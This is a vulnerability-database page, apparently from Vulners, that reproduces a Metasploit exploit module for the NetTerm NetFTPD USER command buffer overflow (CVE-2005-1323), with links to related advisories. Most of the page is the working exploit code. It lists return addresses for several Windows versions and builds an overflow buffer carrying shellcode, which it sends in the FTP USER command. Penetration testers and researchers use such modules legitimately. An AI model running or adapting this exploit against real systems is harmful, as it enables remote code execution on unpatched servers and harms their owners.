Lucene search
K

NetTerm NetFTPD USER Buffer Overflow

🗓️ 24 Nov 2005 19:28:47Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

NetTerm NetFTPD USER Buffer Overflow vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
NetTerm FTP Server USER Command Remote Overflow
26 Apr 200500:00
nessus
Tenable Nessus
Intersoft NetTerm Netftpd USER Command Remote Overflow
26 Apr 200500:00
nessus
Circl
CVE-2005-1323
5 Oct 201000:00
circl
CVE
CVE-2005-1323
27 Apr 200504:00
cve
Cvelist
CVE-2005-1323
27 Apr 200504:00
cvelist
Exploit DB
NetTerm NetFTPD - &#039;USER&#039; Remote Buffer Overflow (Metasploit)
5 Oct 201000:00
exploitdb
Kaspersky
KLA10272 ACE vulnerability in NetTerm
2 May 200500:00
kaspersky
NVD
CVE-2005-1323
2 May 200504:00
nvd
Packet Storm
NetTerm NetFTPD USER Buffer Overflow
26 Nov 200900:00
packetstorm
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetTerm NetFTPD USER Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the NetTerm NetFTPD
        application. This package is part of the NetTerm package.
        This module uses the USER command to trigger the overflow.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-1323'],
          [ 'OSVDB', '15865'],
          [ 'URL', 'https://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
          [ 'BID', '13396'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x20\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => [ 'win' ],
      'Targets'        =>
        [
          [
            'NetTerm NetFTPD Universal',  # Tested OK - hdm 11/24/2005
            {
              'Ret'      => 0x0040df98, # netftpd.exe (multiple versions)
            },
          ],
          [
            'Windows 2000 English',
            {
              'Ret'      => 0x75022ac4, # ws2help.dll
            },
          ],
          [
            'Windows XP English SP0/SP1',
            {
              'Ret'      => 0x71aa32ad, # ws2help.dll
            },
          ],
          [
            'Windows 2003 English',
            {
              'Ret'      => 0x7ffc0638, # peb magic :-)
            },
          ],
          [
            'Windows NT 4.0 SP4/SP5/SP6',
            {
              'Ret'      => 0x77681799, # ws2help.dll
            },
          ],
        ],
      'DisclosureDate' => '2005-04-26',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect
    if (banner =~ /NetTerm FTP server/)
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    # U          push ebp
    # S          push ebx
    # E          inc ebp
    # R          push edx
    # \x20\xC0   and al, al

    buf          = rand_text_english(8192, payload_badchars)
    buf[0, 1]    = "\xc0"
    buf[1, payload.encoded.length] = payload.encoded
    buf[1014, 4] = [ target.ret ].pack('V')

    send_cmd( ["USER #{buf}"] )
    send_cmd( ['HELP'] )

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation